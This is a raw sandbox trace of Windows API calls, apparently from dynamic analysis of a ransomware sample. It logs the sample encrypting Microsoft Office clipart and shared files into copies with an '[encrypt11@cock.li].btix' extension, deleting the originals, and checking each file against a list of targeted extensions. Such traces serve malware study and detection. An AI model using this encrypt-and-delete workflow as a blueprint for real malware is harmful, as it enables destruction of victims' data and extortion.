lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.094] SetEndOfFile (hFile=0x38c) returned 1 [0161.094] CloseHandle (hObject=0x38c) returned 1 [0161.094] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.094] SetEndOfFile (hFile=0x36c) returned 1 [0161.095] CloseHandle (hObject=0x36c) returned 1 [0161.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf")) returned 1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0161.096] lstrlenW (lpString=".doc") returned 4 [0161.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString=".docx") returned 5 [0161.096] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.096] lstrlenW (lpString=".pdf") returned 4 [0161.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString=".xls") returned 4 [0161.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.096] lstrlenW (lpString=".xlsx") returned 5 [0161.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.096] lstrlenW (lpString=".ppt") returned 4 [0161.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0161.096] lstrlenW (lpString=".zip") returned 4 [0161.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.096] lstrlenW (lpString=".rar") returned 4 [0161.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString=".bz2") returned 4 [0161.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString=".7z") returned 3 [0161.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0161.096] lstrlenW (lpString=".dbf") returned 4 [0161.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0161.096] lstrlenW (lpString=".1cd") returned 4 [0161.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF") returned 68 [0161.096] lstrlenW (lpString=".jpg") returned 4 [0161.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.097] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.097] GetLastError () returned 0x0 [0161.097] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2e88, lpOverlapped=0x0) returned 1 [0161.116] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2e90, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2e90, lpOverlapped=0x0) returned 1 [0161.117] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.117] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.117] SetEndOfFile (hFile=0x38c) returned 1 [0161.118] CloseHandle (hObject=0x38c) returned 1 [0161.118] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.118] SetEndOfFile (hFile=0x36c) returned 1 [0161.118] CloseHandle (hObject=0x36c) returned 1 [0161.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf")) returned 1 [0161.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF") returned 68 [0161.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF") returned 68 [0161.119] lstrlenW (lpString=".doc") returned 4 [0161.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.119] lstrlenW (lpString=".docx") returned 5 [0161.119] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.119] lstrlenW (lpString=".pdf") returned 4 [0161.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.120] lstrlenW (lpString=".xls") returned 4 [0161.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.120] lstrlenW (lpString=".xlsx") returned 5 [0161.120] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.120] lstrlenW (lpString=".ppt") returned 4 [0161.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF") returned 68 [0161.120] lstrlenW (lpString=".zip") returned 4 [0161.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.120] lstrlenW (lpString=".rar") returned 4 [0161.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.120] lstrlenW (lpString=".bz2") returned 4 [0161.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.120] lstrlenW (lpString=".7z") returned 3 [0161.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF") returned 68 [0161.120] lstrlenW (lpString=".dbf") returned 4 [0161.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF") returned 68 [0161.120] lstrlenW (lpString=".1cd") returned 4 [0161.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF") returned 68 [0161.120] lstrlenW (lpString=".jpg") returned 4 [0161.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.120] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.121] GetLastError () returned 0x0 [0161.121] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x30f2, lpOverlapped=0x0) returned 1 [0161.242] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3100, lpOverlapped=0x0) returned 1 [0161.243] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.244] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.244] SetEndOfFile (hFile=0x38c) returned 1 [0161.244] CloseHandle (hObject=0x38c) returned 1 [0161.244] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.244] SetEndOfFile (hFile=0x36c) returned 1 [0161.245] CloseHandle (hObject=0x36c) returned 1 [0161.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf")) returned 1 [0161.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0161.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0161.246] lstrlenW (lpString=".doc") returned 4 [0161.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.246] lstrlenW (lpString=".docx") returned 5 [0161.246] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0161.246] lstrlenW (lpString=".pdf") returned 4 [0161.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.246] lstrlenW (lpString=".xls") returned 4 [0161.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.246] lstrlenW (lpString=".xlsx") returned 5 [0161.246] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0161.246] lstrlenW (lpString=".ppt") returned 4 [0161.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0161.246] lstrlenW (lpString=".zip") returned 4 [0161.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.246] lstrlenW (lpString=".rar") returned 4 [0161.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.246] lstrlenW (lpString=".bz2") returned 4 [0161.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.246] lstrlenW (lpString=".7z") returned 3 [0161.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0161.246] lstrlenW (lpString=".dbf") returned 4 [0161.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0161.247] lstrlenW (lpString=".1cd") returned 4 [0161.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0161.247] lstrlenW (lpString=".jpg") returned 4 [0161.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.247] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.247] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.248] GetLastError () returned 0x0 [0161.248] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3c9e, lpOverlapped=0x0) returned 1 [0161.387] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3ca0, lpOverlapped=0x0) returned 1 [0161.388] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.388] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.388] SetEndOfFile (hFile=0x38c) returned 1 [0161.388] CloseHandle (hObject=0x38c) returned 1 [0161.388] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.388] SetEndOfFile (hFile=0x36c) returned 1 [0161.389] CloseHandle (hObject=0x36c) returned 1 [0161.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf")) returned 1 [0161.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0161.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0161.390] lstrlenW (lpString=".doc") returned 4 [0161.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.390] lstrlenW (lpString=".docx") returned 5 [0161.390] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0161.390] lstrlenW (lpString=".pdf") returned 4 [0161.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.390] lstrlenW (lpString=".xls") returned 4 [0161.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.390] lstrlenW (lpString=".xlsx") returned 5 [0161.390] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0161.391] lstrlenW (lpString=".ppt") returned 4 [0161.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0161.391] lstrlenW (lpString=".zip") returned 4 [0161.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.391] lstrlenW (lpString=".rar") returned 4 [0161.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.391] lstrlenW (lpString=".bz2") returned 4 [0161.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.391] lstrlenW (lpString=".7z") returned 3 [0161.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0161.391] lstrlenW (lpString=".dbf") returned 4 [0161.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0161.391] lstrlenW (lpString=".1cd") returned 4 [0161.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0161.391] lstrlenW (lpString=".jpg") returned 4 [0161.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.762] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.763] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0161.763] GetLastError () returned 0x0 [0161.764] ReadFile (in: hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x8166, lpOverlapped=0x0) returned 1 [0162.148] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x8170, lpOverlapped=0x0) returned 1 [0162.149] ReadFile (in: hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.149] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.149] SetEndOfFile (hFile=0x368) returned 1 [0162.149] CloseHandle (hObject=0x368) returned 1 [0162.149] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.149] SetEndOfFile (hFile=0x3a4) returned 1 [0162.150] CloseHandle (hObject=0x3a4) returned 1 [0162.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0162.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf")) returned 1 [0162.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0162.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0162.152] lstrlenW (lpString=".doc") returned 4 [0162.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString=".docx") returned 5 [0162.152] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0162.152] lstrlenW (lpString=".pdf") returned 4 [0162.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString=".xls") returned 4 [0162.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.152] lstrlenW (lpString=".xlsx") returned 5 [0162.152] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0162.152] lstrlenW (lpString=".ppt") returned 4 [0162.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0162.152] lstrlenW (lpString=".zip") returned 4 [0162.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.152] lstrlenW (lpString=".rar") returned 4 [0162.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString=".bz2") returned 4 [0162.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString=".7z") returned 3 [0162.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0162.152] lstrlenW (lpString=".dbf") returned 4 [0162.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0162.152] lstrlenW (lpString=".1cd") returned 4 [0162.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0162.152] lstrlenW (lpString=".jpg") returned 4 [0162.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.153] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.153] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0162.154] GetLastError () returned 0x0 [0162.154] ReadFile (hFile=0x3a4, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0) Thread: id = 96 os_tid = 0xfc8 [0146.438] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x72bd88 [0146.438] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x73bd90 [0146.438] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bed28 [0146.439] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa468 [0146.439] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bed40 [0146.439] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3a09020 [0146.441] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bed70 [0146.441] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bed70, Size=0x20) returned 0x69db28 [0146.441] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bed70 [0146.441] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bed70, Size=0x20) returned 0x69dba0 [0146.441] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.441] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.441] Wow64DisableWow64FsRedirection (in: OldValue=0x2edff50 | out: OldValue=0x2edff50*=0x0) returned 1 [0146.441] lstrlenW (lpString="kernel32.dll") returned 12 [0146.441] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.441] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.441] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.441] Sleep (dwMilliseconds=0x64) [0146.696] Sleep (dwMilliseconds=0x64) [0146.927] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0146.927] lstrlenW (lpString="Alphabet.xml") returned 12 [0146.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.168] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=791421) returned 1 [0147.168] CloseHandle (hObject=0x338) returned 1 [0147.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0147.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 